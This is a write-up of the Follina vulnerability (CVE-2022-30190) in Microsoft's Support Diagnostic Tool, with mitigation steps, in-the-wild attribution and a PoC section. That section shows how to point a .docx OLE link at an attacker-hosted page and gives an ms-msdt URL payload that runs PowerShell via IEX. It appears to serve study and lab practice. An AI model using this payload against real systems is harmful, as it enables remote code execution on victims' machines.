

CVE-2022-30190

Microsoft Support Diagnostic Tool Vulnerability (msdt-follina)

CVE (Common Vulnerability Exposure):

CVE-2022-30190

CVSS (Common Vulnerability Scoring System):

Base : 7.8 [High](#)

Attack Vector - Local

User Interaction - Required

[Source](#)

Summary :

A remote code execution vulnerability exists when MSDT is called using the URL protocol from a calling application such as Word. An attacker who successfully exploits this vulnerability can run arbitrary code with the privileges of the calling application. The attacker can then install programs, view, change, or delete data, or create new accounts in the context allowed by the user's rights.

Mitigation :

1. Disable MSDT URL protocol:

- Run Command Prompt as Administrator.
- To back up the registry key, execute the command "reg export HKEY_CLASSES_ROOT\ms-msdt filename"
- Execute the command "reg delete HKEY_CLASSES_ROOT\ms-msdt /f".

2. Microsoft Windows Update patch for June 2022.

- `Enable auto-update` in windows defender if not already done.

Caught in Wild :

- The TA413 APT group (linked to Chinese state interest) known to attack Tibetan International Community according to new research by [Proofpoint](#) .
- Presented as Job for Russian nationals caught by [leader](#) of shadowchasing1 APT hunting group.

PoC :

- Understanding the Vulnerability

- MSDT can execute powershell code. Also certain `.docx` file contain OLE(Object Linking and Embedding) object references which can be in form of HTML file hosted elsewhere.
- First we unzip `unzip payload.doc`

```
→ unzipped tree
.
├── [Content_Types].xml
├── docProps
│   ├── app.xml
│   └── core.xml
├── _rels
└── word
    ├── document.xml
    ├── fontTable.xml
    ├── _rels
    │   └── document.xml.rels
    ├── settings.xml
    ├── styles.xml
    ├── theme
    │   └── theme1.xml
    └── webSettings.xml

5 directories, 10 files
→ unzipped
```

- we find a xml file in `./word/_rels/document.xml.rels` and changing the `<Relationship>` attribute. Changing `Target` to `server` and `TargetMode` to `external`

```
<Relationship Id="rId996"
Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships
/oleObject" Target="http://192.168.239.254:8000/index.html!"
TargetMode="External"/>
```

- in `./word/document.xml` change XML tag that starts with `<o:OLEObject ...>` Type value to `Link` and `KeyValuePair-value` to `UpdateMode="OnCall"`

```
</v:shape><o:OLEObject Type="Link" ProgID="htmlfile"
ShapeID="_x0000_i1025" DrawAspect="Content" r:id="rId996"
UpdateMode="OnCall">
```

- Now we just host the payload so victim pc can make a connection to it and execute our payload. Basic structure for HTML will be :

[illegible]

```

window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param
\"IT_RebrowseForFile=cal?c IT_SelectProgram=NotListed
IT_BrowseForFile=h$(IEX('calc.exe'))i/../../../../../../../../../../../../..
../../../../Windows/System32/mpsigstub.exe \";
</script>
</body>
</html>

```

- Exploit :
 - We will be using a public PoC by JohnHammond on [github](#)
 - we host the python server for payload on local machine.
 - curl the payload onto the victim machine

```

Mode                LastWriteTime         Length Name
-----
d-----        6/29/2022    3:00 PM             .ssh
d-r---        6/29/2022    1:09 AM             3D Objects
d-r---        6/29/2022    1:09 AM             Contacts
d-r---        6/30/2022    6:59 AM             Desktop
d-r---        6/30/2022    7:20 AM             Documents
d-r---        6/30/2022    3:38 AM             Downloads
d-r---        6/29/2022    1:09 AM             Favorites
d-r---        6/29/2022    1:09 AM             Links
d-r---        6/29/2022    1:09 AM             Music
d-r---        6/30/2022    3:47 AM             OneDrive
d-r---        6/29/2022    1:09 AM             Pictures
d-r---        6/29/2022    1:09 AM             Saved Games
d-r---        6/29/2022    1:09 AM             Searches
d-r---        6/29/2022    1:09 AM             Videos
-a----        5/22/2022    12:32 AM             1164 configuration-Office2019Enterprise.xml
-a----        5/22/2022    12:32 AM             1368 configuration-Office2021Enterprise.xml
-a----        5/22/2022    12:32 AM             1014 configuration-Office365-x64.xml
-a----        5/22/2022    12:32 AM             1014 configuration-Office365-x86.xml
-a----        7/12/2022     6:05 AM             10697 follina.docx
-a----        5/22/2022    12:32 AM             8364400 setup.exe

```

PS C:\Users\Administrator>

Hands-on Lab :

[TryHackMe's Lab: Follina-MSDT Final VM](#)

Sources :

- [Microsoft Security Response Centre](#)
- [huntress.com](#)
- [4pfsec.com](#)
- [fortinet.com](#)